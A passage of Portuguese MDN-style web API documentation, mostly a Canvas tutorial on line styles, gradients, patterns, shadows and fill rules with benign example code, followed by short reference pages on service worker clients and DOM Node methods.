ctx.lineWidth = 1 + i;\n    ctx.beginPath();\n    ctx.moveTo(5 + i \\* 14, 5);\n    ctx.lineTo(5 + i \\* 14, 140);\n    ctx.stroke();\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n A obtenção de linhas nítidas requer a compreensão de como os caminhos são traçados. Nas imagens abaixo, a grade representa a grade de coordenadas da tela. Os quadrados entre as linhas de grade são pixels reais na tela. Na primeira imagem da grade abaixo, um retângulo de (2,1) a (5,5) é preenchido. A área inteira entre eles (vermelho claro) cai nos limites dos pixels, portanto, o retângulo preenchido resultante terá bordas nítidas.\n\n ![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors/canvas-grid.png)\n\nSe você considerar um caminho de (3,1) a (3,5) com uma espessura de linha de 1,0, você terminará com a situação na segunda imagem. A área real a ser preenchida (azul escuro) se estende apenas até a metade dos pixels dos dois lados do caminho. Uma aproximação disso deve ser renderizada, o que significa que esses pixels são sombreados apenas parcialmente e resultam em toda a área (azul claro e azul escuro) sendo preenchida com uma cor apenas metade da escuridão da cor real do traço. É o que acontece com a linha de largura 1.0 no código de exemplo anterior.\n\nPara corrigir isso, você precisa ser muito preciso na criação do seu caminho. Sabendo que uma linha de largura 1,0 estenderá meia unidade para ambos os lados do caminho, criar o caminho de (3,5,1) a (3,5,5) resulta na situação da terceira imagem - a largura da linha 1,0 termina completamente e preenchendo com precisão uma única linha vertical de pixel.\n\n**Nota:** **Nota: Esteja ciente de que, no nosso exemplo de linha vertical, a posição Y ainda faz referência a uma posição de linha de grade inteira - se não tivesse, veríamos pixels com meia cobertura nos pontos de extremidade (mas observe também que esse comportamento depende do estilo lineCap atual cujo valor padrão é butt; você pode calcular traçados consistentes com coordenadas de meio pixel para linhas de largura ímpar, configurando o estilo lineCap como quadrado, para que a borda externa do traçado ao redor do ponto de extremidade seja estendida automaticamente para cobrir o pixel inteiro exatamente).**\n\nObserve também que apenas os pontos de extremidade inicial e final de um caminho são afetados: se um caminho for fechado com closePath (), não haverá ponto inicial e final; em vez disso, todos os pontos de extremidade no caminho são conectados ao segmento anterior e ao próximo anexado usando a configuração atual do estilo lineJoin, cujo valor padrão é mitra, com o efeito de estender automaticamente as bordas externas dos segmentos conectados ao seu ponto de interseção. que o traçado renderizado cobrirá exatamente os pixels completos centralizados em cada ponto final se esses segmentos conectados forem horizontais e / ou verticais). Veja as próximas duas seções para demonstrações desses estilos de linha adicionais.\n\nPara linhas de largura uniforme, cada metade acaba sendo uma quantidade inteira de pixels, portanto, você deseja um caminho entre pixels (ou seja, (3,1) a (3,5)), em vez de no meio dos pixels .\n\nEmbora seja um pouco doloroso ao trabalhar inicialmente com gráficos 2D escalonáveis, prestar atenção à grade de pixels e à posição dos caminhos garante que seus desenhos pareçam corretos, independentemente da escala ou de qualquer outra transformação envolvida. Uma linha vertical de 1,0 largura desenhada na posição correta se tornará uma linha nítida de 2 pixels quando aumentada em 2 e aparecerá na posição correta.\n\n### Exemplo lineCap\n\nA propriedade lineCap determina como os pontos finais de cada linha são desenhados. Existem três valores possíveis para essa propriedade e são: bunda, redondo e quadrado. Por padrão, essa propriedade está configurada para butt.\n ![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors/canvas_linecap.png)\n\n`butt`\n\nAs extremidades das linhas são quadradas nos pontos finais.\n\n`round`\n\n As extremidades das linhas são arredondadas.\n arredondadas.\n\n\n`square`\n\nAs extremidades das linhas são ajustadas ao quadrado, adicionando uma caixa com a mesma largura e metade da altura da espessura da linha.\n\nNeste exemplo, desenharemos três linhas, cada uma com um valor diferente para a propriedade lineCap. Também adicionei dois guias para ver as diferenças exatas entre os três. Cada uma dessas linhas começa e termina exatamente nesses guias.\n\nA linha à esquerda usa a opção de topo padrão. Você notará que está desenhado completamente alinhado com as guias. O segundo está definido para usar a opção redonda. Isso adiciona um semicírculo ao final que tem um raio com metade da largura da linha. A linha à direita usa a opção quadrada. Isso adiciona uma caixa com largura igual e metade da altura da espessura da linha.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  var lineCap = [\"butt\", \"round\", \"square\"];\n\n  // Draw guides\n  ctx.strokeStyle = \"#09f\";\n  ctx.beginPath();\n  ctx.moveTo(10, 10);\n  ctx.lineTo(140, 10);\n  ctx.moveTo(10, 140);\n  ctx.lineTo(140, 140);\n  ctx.stroke();\n\n  // Draw lines\n  ctx.strokeStyle = \"black\";\n  for (var i = 0; i < lineCap.length; i++) {\n    ctx.lineWidth = 15;\n    ctx.lineCap = lineCap[i];\n    ctx.beginPath();\n    ctx.moveTo(25 + i \\* 50, 10);\n    ctx.lineTo(25 + i \\* 50, 140);\n    ctx.stroke();\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Um exemplo de lineJoin\n\nA propriedade lineJoin determina como dois segmentos de conexão (de linhas, arcos ou curvas) com comprimentos diferentes de zero em uma forma são unidos (segmentos degenerados com comprimentos zero, cujos pontos finais e pontos de controle especificados são exatamente na mesma posição, são ignorados) .\n\nExistem três valores possíveis para essa propriedade: round, chanfro e mitra. Por padrão, essa propriedade está configurada para mitra. Observe que a configuração lineJoin não terá efeito se os dois segmentos conectados tiverem a mesma direção, porque nenhuma área de junção será adicionada neste caso.\n ![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors/canvas_linejoin.png)\n\n`round`\n\nArredonda os cantos de uma forma preenchendo um setor adicional de disco centralizado no ponto final comum dos segmentos conectados. O raio desses cantos arredondados é igual à metade da largura da linha.\n\n`bevel`\n\nPreenche uma área triangular adicional entre o ponto final comum dos segmentos conectados e os cantos retangulares externos separados de cada segmento.\n\n`miter`\n\nOs segmentos conectados são unidos estendendo suas bordas externas para se conectarem em um único ponto, com o efeito de preencher uma área adicional em forma de losango. Essa configuração é efetuada pela propriedade miterLimit, explicada abaixo.\n\nO exemplo abaixo desenha três caminhos diferentes, demonstrando cada uma dessas três configurações de propriedade lineJoin; a saída é mostrada acima.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  var lineJoin = [\"round\", \"bevel\", \"miter\"];\n  ctx.lineWidth = 10;\n  for (var i = 0; i < lineJoin.length; i++) {\n    ctx.lineJoin = lineJoin[i];\n    ctx.beginPath();\n    ctx.moveTo(-5, 5 + i \\* 40);\n    ctx.lineTo(35, 45 + i \\* 40);\n    ctx.lineTo(75, 5 + i \\* 40);\n    ctx.lineTo(115, 45 + i \\* 40);\n    ctx.lineTo(155, 5 + i \\* 40);\n    ctx.stroke();\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Uma demonstração da propriedade miterLimit\n\nComo você viu no exemplo anterior, ao unir duas linhas com a opção de esquadria, as bordas externas das duas linhas de junção são estendidas até o ponto em que elas se encontram. Para linhas com ângulos amplos entre si, esse ponto não está longe do ponto de conexão interno. No entanto, à medida que os ângulos entre cada linha diminuem, a distância (comprimento da mitra) entre esses pontos aumenta exponencialmente.\n\nA propriedade miterLimit determina a que distância o ponto de conexão externo pode ser colocado do ponto de conexão interno. Se duas linhas excederem esse valor, uma junção de chanfro será desenhada. Observe que o comprimento máximo da esquadria é o produto da largura da linha medida no sistema de coordenadas atual, pelo valor dessa propriedade miterLimit (cujo valor padrão é 10.0 no HTML `<canvas>`), portanto, o O miterLimit pode ser definido independentemente da escala de exibição atual ou de quaisquer transformações afins de caminhos: apenas influencia a forma efetivamente renderizada das arestas da linha.\n\nMais exatamente, o limite da mitra é a proporção máxima permitida do comprimento da extensão (na tela HTML, é medida entre o canto externo das arestas unidas da linha e o ponto de extremidade comum dos segmentos de conexão especificados no caminho) pela metade do espessura da linha. Pode ser definido de maneira equivalente como a proporção máxima permitida da distância entre os pontos interno e externo da junção das arestas e a largura total da linha. Em seguida, é igual ao coecante da metade do ângulo interno mínimo dos segmentos de conexão abaixo dos quais nenhuma junção de esquadria será renderizada, mas apenas uma junção de chanfro:\n\n* `miterLimit` = **max** `miterLength` / `lineWidth` = 1 / **sin** ( **min** *θ* / 2 )\n* O limite padrão de esquadria de 10.0 removerá todos os mitros para ângulos agudos abaixo de 11 graus.\n* Um limite de esquadria igual a √2 ≈ 1.4142136 (arredondado para cima) retira os mitros para todos os ângulos agudos, mantendo as juntas de esquadria apenas para ângulos obtusos ou retos.\n* Um limite de mitra igual a 1,0 é válido, mas desativará todos os atenuadores.\n* Valores abaixo de 1,0 são inválidos para o limite de mitra.\n\nAqui está uma pequena demonstração na qual você pode definir o mitreLimit dinamicamente e ver como isso afeta as formas na tela. As linhas azuis mostram onde estão os pontos inicial e final de cada uma das linhas no padrão em zigue-zague.\n\nSe você especificar um valor de miterLimite abaixo de 4.2 nesta demonstração, nenhum dos cantos visíveis poderá ser uma extensão de mitra, mas apenas com um pequeno canal próximo às linhas azuis; com um limite máximo acima de 10, a maioria dos cantos nesta demonstração deve ser levada a uma meia-esquadria das linhas azuis e a altura está diminuindo entre os cantos da esquerda para a direita porque eles estão conectados com ângulos crescentes; com valores intermediários, os cantos do lado esquerdo ou apenas um canto próximo às linhas azuis e os cantos do lado direito com uma extensão de esquadria (também com uma altura decrescente).\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  // Clear canvas\n  ctx.clearRect(0, 0, 150, 150);\n\n  // Draw guides\n  ctx.strokeStyle = \"#09f\";\n  ctx.lineWidth = 2;\n  ctx.strokeRect(-5, 50, 160, 50);\n\n  // Set line styles\n  ctx.strokeStyle = \"#000\";\n  ctx.lineWidth = 10;\n\n  // check input\n  if (document.getElementById(\"miterLimit\").value.match(/\\d+(\\.\\d+)?/)) {\n    ctx.miterLimit = parseFloat(document.getElementById(\"miterLimit\").value);\n  } else {\n    alert(\"Value must be a positive number\");\n  }\n\n  // Draw lines\n  ctx.beginPath();\n  ctx.moveTo(0, 100);\n  for (i = 0; i < 24; i++) {\n    var dy = i % 2 == 0 ? 25 : -25;\n    ctx.lineTo(Math.pow(i, 1.5) \\* 2, 75 + dy);\n  }\n  ctx.stroke();\n  return false;\n}\n```\n\n\n```\n<table>\n  <tr>\n    <td><canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas></td>\n    <td>\n      Change the <code>miterLimit</code> by entering a new value below and\n      clicking the redraw button.<br /><br />\n      <form onsubmit=\"return draw();\">\n        <label>Miter limit</label>\n        <input type=\"text\" size=\"3\" id=\"miterLimit\" />\n        <input type=\"submit\" value=\"Redraw\" />\n      </form>\n    </td>\n  </tr>\n</table>\n```\n\n\n```\ndocument.getElementById(\"miterLimit\").value = document\n  .getElementById(\"canvas\")\n  .getContext(\"2d\").miterLimit;\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Usando linhas tracejadas\n\n`O método setLineDash` e a propriedade `lineDashOffset` especificam o padrão de traço para as linhas. O método `setLineDash` aceita uma lista de números que especificam distâncias para desenhar alternadamente entre uma linha e uma lacuna. Já a propriedade `lineDashOffset` define a distância até onde se deve iniciar a linha.\n\nNeste exemplo, criaremos um efeito de formigas caminhando. É uma técnica de animação frequentemente usada em computação gráfica, pois ajuda o usuário a fazer uma distinção entre a borda e o plano de fundo animando a borda. Mais tarde neste tutorial, você aprenderá como fazer animações básicas.\n```\n\n<canvas id=\"canvas\" width=\"110\" height=\"110\"></canvas>\n```\n\n\n\n```js\nvar ctx = document.getElementById(\"canvas\").getContext(\"2d\");\nvar offset = 0;\n\nfunction draw() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  ctx.setLineDash([4, 2]);\n  ctx.lineDashOffset = -offset;\n  ctx.strokeRect(10, 10, 100, 100);\n}\n\nfunction march() {\n  offset++;\n  if (offset > 16) {\n    offset = 0;\n  }\n  draw();\n  setTimeout(march, 20);\n}\n\nmarch();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nGradients\n---------\n\nJust like any normal drawing program, we can fill and stroke shapes using linear and radial gradients. We create a `CanvasGradient` (en-US) object by using one of the following methods. We can then assign this object to the `fillStyle` or `strokeStyle` properties.\n\n`createLinearGradient(x1, y1, x2, y2)` (en-US)\n\nCreates a linear gradient object with a starting point of (`x1`, `y1`) and an end point of (`x2`, `y2`).\n\n`createRadialGradient(x1, y1, r1, x2, y2, r2)` (en-US)\n\nCreates a radial gradient. The parameters represent two circles, one with its center at (`x1`, `y1`) and a radius of `r1`, and the other with its center at (`x2`, `y2`) with a radius of `r2`.\n\nFor example:\n\n\n```js\nvar lineargradient = ctx.createLinearGradient(0, 0, 150, 150);\nvar radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);\n```\n\n\nOnce we've created a `CanvasGradient` object we can assign colors to it by using the `addColorStop()` method.\n\n`gradient.addColorStop(position, color)` (en-US)\n\nCreates a new color stop on the `gradient` object. The `position` is a number between 0.0 and 1.0 and defines the relative position of the color in the gradient, and the `color` argument must be a string representing a CSS `<color>`, indicating the color the gradient should reach at that offset into the transition.\n\nYou can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.\n\n\n```js\nvar lineargradient = ctx.createLinearGradient(0, 0, 150, 150);\nlineargradient.addColorStop(0, \"white\");\nlineargradient.addColorStop(1, \"black\");\n```\n\n### A `createLinearGradient` example\n\nIn this example, we'll create two different gradients. As you can see here, both the `strokeStyle` and `fillStyle` properties can accept a `canvasGradient` object as valid input.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  // Create gradients\n  var lingrad = ctx.createLinearGradient(0, 0, 0, 150);\n  lingrad.addColorStop(0, \"#00ABEB\");\n  lingrad.addColorStop(0.5, \"#fff\");\n  lingrad.addColorStop(0.5, \"#26C000\");\n  lingrad.addColorStop(1, \"#fff\");\n\n  var lingrad2 = ctx.createLinearGradient(0, 50, 0, 95);\n  lingrad2.addColorStop(0.5, \"#000\");\n  lingrad2.addColorStop(1, \"rgba(0, 0, 0, 0)\");\n\n  // assign gradients to fill and stroke styles\n  ctx.fillStyle = lingrad;\n  ctx.strokeStyle = lingrad2;\n\n  // draw shapes\n  ctx.fillRect(10, 10, 130, 130);\n  ctx.strokeRect(50, 50, 50, 50);\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\nThe first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.\n\nIn the second gradient, we didn't assign the starting color (at position 0.0) since it wasn't strictly necessary, because it will automatically assume the color of the next color stop. Therefore, assigning the black color at position 0.5 automatically makes the gradient, from the start to this stop, black.\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### A `createRadialGradient` example\n\nIn this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the \"classic\" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  // Create gradients\n  var radgrad = ctx.createRadialGradient(45, 45, 10, 52, 50, 30);\n  radgrad.addColorStop(0, \"#A7D30C\");\n  radgrad.addColorStop(0.9, \"#019F62\");\n  radgrad.addColorStop(1, \"rgba(1, 159, 98, 0)\");\n\n  var radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);\n  radgrad2.addColorStop(0, \"#FF5F98\");\n  radgrad2.addColorStop(0.75, \"#FF0188\");\n  radgrad2.addColorStop(1, \"rgba(255, 1, 136, 0)\");\n\n  var radgrad3 = ctx.createRadialGradient(95, 15, 15, 102, 20, 40);\n  radgrad3.addColorStop(0, \"#00C9FF\");\n  radgrad3.addColorStop(0.8, \"#00B5E2\");\n  radgrad3.addColorStop(1, \"rgba(0, 201, 255, 0)\");\n\n  var radgrad4 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);\n  radgrad4.addColorStop(0, \"#F4F201\");\n  radgrad4.addColorStop(0.8, \"#E4C700\");\n  radgrad4.addColorStop(1, \"rgba(228, 199, 0, 0)\");\n\n  // draw shapes\n  ctx.fillStyle = radgrad4;\n  ctx.fillRect(0, 0, 150, 150);\n  ctx.fillStyle = radgrad3;\n  ctx.fillRect(0, 0, 150, 150);\n  ctx.fillStyle = radgrad2;\n  ctx.fillRect(0, 0, 150, 150);\n  ctx.fillStyle = radgrad;\n  ctx.fillRect(0, 0, 150, 150);\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\nIn this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.\n\nThe last color stop in each of the four gradients uses a fully transparent color. If you want to have a nice transition from this to the previous color stop, both colors should be equal. This isn't very obvious from the code because it uses two different CSS color methods as a demonstration, but in the first gradient `#019F62 = rgba(1,159,98,1)`.\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nPatterns\n--------\n\nIn one of the examples on the previous page, we used a series of loops to create a pattern of images. There is, however, a much simpler method: the `createPattern()` method.\n\n`createPattern(image, type)` (en-US)\n\nCreates and returns a new canvas pattern object. `image` is a `CanvasImageSource` (en-US) (that is, an `HTMLImageElement` (en-US), another canvas, a `<video>` element, or the like. `type` is a string indicating how to use the image.\n\nThe type specifies how to use the image in order to create the pattern, and must be one of the following string values:\n\n`repeat`\n\nTiles the image in both vertical and horizontal directions.\n\n`repeat-x`\n\nTiles the image horizontally but not vertically.\n\n`repeat-y`\n\nTiles the image vertically but not horizontally.\n\n`no-repeat`\n\nDoesn't tile the image. It's used only once.\n\nWe use this method to create a `CanvasPattern` (en-US) object which is very similar to the gradient methods we've seen above. Once we've created a pattern, we can assign it to the `fillStyle` or `strokeStyle` properties. For example:\n\n\n```js\nvar img = new Image();\nimg.src = \"someimage.png\";\nvar ptrn = ctx.createPattern(img, \"repeat\");\n```\n\n\n**Nota:** Like with the `drawImage()` method, you must make sure the image you use is loaded before calling this method or the pattern may be drawn incorrectly.\n\n### A `createPattern` example\n\nIn this last example, we'll create a pattern to assign to the `fillStyle` property. The only thing worth noting is the use of the image's `onload` handler. This is to make sure the image is loaded before it is assigned to the pattern.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  // create new image object to use as pattern\n  var img = new Image();\n  img.src = \"canvas\\_createpattern.png\";\n  img.onload = function () {\n    // create pattern\n    var ptrn = ctx.createPattern(img, \"repeat\");\n    ctx.fillStyle = ptrn;\n    ctx.fillRect(0, 0, 150, 150);\n  };\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nShadows\n-------\n\nUsing shadows involves just four properties:\n\n`shadowOffsetX = float` (en-US)\n\nIndicates the horizontal distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.\n\n`shadowOffsetY = float` (en-US)\n\nIndicates the vertical distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.\n\n`shadowBlur = float` (en-US)\n\nIndicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.\n\n`shadowColor = color` (en-US)\n\nA standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.\n\nThe properties `shadowOffsetX` and `shadowOffsetY` indicate how far the shadow should extend from the object in the X and Y directions; these values aren't affected by the current transformation matrix. Use negative values to cause the shadow to extend up or to the left, and positive values to cause the shadow to extend down or to the right. These are both 0 by default.\n\nThe `shadowBlur` property indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.\n\nThe `shadowColor` property is a standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.\n\n**Nota:** Shadows are only drawn for `source-over` compositing operations.\n\n### A shadowed text example\n\nThis example draws a text string with a shadowing effect.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  ctx.shadowOffsetX = 2;\n  ctx.shadowOffsetY = 2;\n  ctx.shadowBlur = 2;\n  ctx.shadowColor = \"rgba(0, 0, 0, 0.5)\";\n\n  ctx.font = \"20px Times New Roman\";\n  ctx.fillStyle = \"Black\";\n  ctx.fillText(\"Sample String\", 5, 30);\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"80\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nWe will look at the `font` property and `fillText` method in the next chapter about drawing text.\n\nCanvas fill rules\n-----------------\n\nWhen using `fill` (or `clip` and `isPointinPath` (en-US)) you can optionally provide a fill rule algorithm by which to determine if a point is inside or outside a path and thus if it gets filled or not. This is useful when a path intersects itself or is nested.\n\nTwo values are possible:\n\n`nonzero`\n\nThe non-zero winding rule, which is the default rule.\n\n`evenodd`\n\nThe even-odd winding rule.\n\nIn this example we are using the `evenodd` rule.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  ctx.beginPath();\n  ctx.arc(50, 50, 30, 0, Math.PI \\* 2, true);\n  ctx.arc(50, 50, 15, 0, Math.PI \\* 2, true);\n  ctx.fill(\"evenodd\");\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"100\" height=\"100\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n* « Previous\n* Next »"}
{"title":"ServiceWorkerGlobalScope.clients - APIs da Web","text":"ServiceWorkerGlobalScope.clients\n================================\n\nA propriedade somente-leitura **`clients`** da interface `ServiceWorkerGlobalScope` (en-US) retorna os objetos dos `Clients` (en-US) associatos ao *service worker*.\n\nSintaxe\n-------\n```\n\nswClients = self.clients\n```\n\n### Valor\n\nO objeto `Clients` (en-US) associado ao *service worker* específico.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Service Workers # service-worker-global-scope-clients |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using Service Workers (en-US)\n* Service workers basic code example\n* Is ServiceWorker ready?\n* `Promise`\n* Using web workers (en-US)"}
{"title":"Node.replaceChild - APIs da Web","text":"Node.replaceChild\n=================\n\nSumário\n-------\n\nSubstitui o elemento filho especificado por outro.\n\nSintaxe\n-------\n```\n\nreplacedNode = parentNode.replaceChild(newChild, oldChild);\n```\n\n\n* `newChild` é o novo elemento que será inserido no lugar do `oldChild`. Se já existir no DOM, será removido primeiro para depois ser inserido.\n* `oldChild` é o elemento existente que será substituído.\n* `replacedNode` é elemento substituído. É o mesmo elemento que oldChild.\nExemplo\n-------\n\n\n```js\n// <div>\n// <span id=\"childSpan\">foo bar</span>\n// </div>\n\n// Cria um novo elemento vazio\n// sem ID, atributos ou conteúdo\nvar sp1 = document.createElement(\"span\");\n\n// Adiciona um ID 'newSpan' para o elemento\nsp1.setAttribute(\"id\", \"newSpan\");\n\n// Adiciona contéudo para o elemento\nvar sp1_content = document.createTextNode(\"new replacement span element.\");\n\n// Coloca o conteúdo no elemento\nsp1.appendChild(sp1_content);\n\n// Procura o elemento que será substituído\nvar sp2 = document.getElementById(\"childSpan\");\nvar parentDiv = sp2.parentNode;\n\n// Substituí o elemento que já existe (sp2) por o novo elemento (sp1)\nparentDiv.replaceChild(sp1, sp2);\n\n// resultado:\n// <div>\n// <span id=\"newSpan\">new replacement span element.</span>\n// </div>\n```\n\nEspecificação\n-------------\n\n* DOM Level 1 Core: replaceChild\n* DOM Level 2 Core: replaceChild\n* DOM Level 3 Core: replaceChild\nVeja também\n-----------\n\n* `Node.removeChild`"}
{"title":"Node.baseURI - APIs da Web","text":"Node.baseURI\n============\n\nResumo\n------\n\nA propriedade somente leitura **`Node.baseURI`** retorna a URL base absoluta de um nó.\n\nA URL base é usada para resolver URLs relativas quando o navegador precisa obter uma URL absoluta, por exemplo, quando processa o atributo `src` do elemento HTML `<img>` ou o atributo `xlink:href` do XML.\n\nNo caso comum, a URL base é simplesmente a localização do documento, mas ela pode ser afetada por vários fatores, incluindo o elemento `<base>` em HTML e o atributo xml:base (en-US) em XML.\n\nSintaxe\n-------\n```\n\nvar baseURI = node.baseURI;\n```\n\n\n* `baseURI` é uma `DOMString` que representa a URL base do `Node` especificado. Pode ser `null` caso não consiga obter uma URL absoluta.\n* `node.baseURI` é somente leitura.\n* `node.baseURI` pode mudar com o tempo (ver abaixo).\nDetalhes\n--------\n\n### A URL base de um documento\n\nÉ a URL base de um *documento* padrão ao endereço do documento ( como exibido pelo navegador e disponível em `window.location` ), mas pode mudar o padrão:\n\n* Quando uma tag HTML `<base>` é encontrada no documento;\n* Quando esse é um novo documento creado dinamicamente.\n\nVeja a seção URLs base do padrão HTML para mais detalhes.\n\nVocê pode usar ``document`.baseURI` para obter a URL base de um documento. Note que a obtenção da URL base para um documento pode retornar diferentes URLs ao longo do tempo se as tags `<base>` ou a localização do documento mudarem.\n\n### A URL base de um elemento\n\nA URL base de um elemento em HTML é, normalmente, igual a URL base do documento onde o nó está.\n\nSe o documento contém atributos `xml:base` (en-US) ( que você não deve fazer em documento HTML), o `element.baseURI` recebe os atributos `xml:base` dos elementos pai into account when computing the base URL. Veja xml:base (en-US) para mais detalhes.\n\nVocê pode usar ``element`.baseURI` para obter a URL base de um elemento.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-baseuri① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Elemento `<base>` (HTML)\n* Atributo `xml:base` (en-US) (Documentos XML)\n* `Node.baseURIObject` (en-US) – uma variante desta API para complementos da Mozilla e código interno. Retorna a URL base como uma `nsIURI`"}
{"title":"Node.cloneNode() - APIs da Web","text":"Node.cloneNode()\n================\n\nO método **`Node.cloneNode()`** duplica um elemento node (nó) da estrutura de um documento DOM. Ele retorna um clone do elemento para o qual foi invocado.\n\nSyntax\n------\n```\n\nvar dupNode = node.cloneNode(deep);\n```\n\n\n*node*\n\nO elemento node (nó) a ser clonado 'duplicado'.\n\n*dupNode*\n\nO novo elemento node (nó) resultado da clonagem do elemento node.\n\n*deep Optional [1]*\n\ntrue se os elementos filhos do nó que está sendo clonado devem ser clonados juntos, ou false para clonar apenas o nó específico dispensando, assim, qualquer elemento DOM filho. Veja os exemplos abaixo.\n\n\n**Nota:** Na especificação do DOM4 (implementado no Gecko 13.0), o argumento `deep` é opcional. Se omitido, por padrão, o método age como se o valor de deep fosse setado como true durante a sua execução. Para criação de clones superficiais, o argumento `deep` deve ser setado como `false`.\n\nEste comportamento foi alterado na última especificação. Se omitido o argumento deep, o método irá interpretar o valor de deep como se fosse false. Embora ele continue opcional, é recomendado que você sempre observe o argumento deep para fins de compatibilidade anterior e posterior. Com o Gecko 28.0), foi advertido aos desenvolvedores para não omitirem o argumento. Iniciado com o Gecko 29.0), um clone superficial é o padrão ao invés de um clone aprofundado.\n\nExemplo\n-------\n\n\n```js\n<div id=\"paragrafos\">\n  <p>Texto parágrafo</p>\n</div>;\n\n//Obtém o elemento div\nvar div_p = document.getElementById(\"paragrafos\");\n\n//Obtém o primeiro filho do elemento div\nvar p = div_p.firstChild;\n\n//Clona o elemento, no caso, um parágrafo\nvar p_clone = p.cloneNode(true);\n\n//Adiciona o clone do elemento <p> ao elemento <div>\ndiv_p.appendChild(p_clone);\n```\n\nNotas\n-----\n\nA clonagem de um elemento node copia todos os seus atributos e valores. Porém, não tem o mesmo comportamento em relação aos \"event listeners\".\n\nO elmento node resultante da ação de clonagem não faz parte da estruturam DOM do documento até que ele seja adicionado utilizando o método appendChild() ou outro similar, conforme exemplo acima.\n\nSe o argumento (deep) for setado como false, os nós filhos do elemento node clonado não serão clonados juntos, assim como os respectivos textos.\n\nSe o argumento (deep) for setado como true, os nós filhos, toda a árvore DOM do elemento clonado, será clonada junto.\n\n**Aviso:** **Cuidado:** `cloneNode()` pode duplicar IDs em um documento.\n\nSe o elemento node (nó) clonado tiver uma ID e o novo elemento node resultante da clonagem for ser inserido no mesmo documento, a ID de um dos nós deve ser alterada para que observem o princípio de unicidade. Em outras palavras, um mesmo documento não pode ter elementos com IDs iguais. Se for o caso de trabalhar com manipulação de elementos DOM através do atributo \"name\", tome cuidado em observá-lo.\n\nClonagem de node (nó) para um documento diferente, use o seguinte método: `Document.importNode()`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-clonenode① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
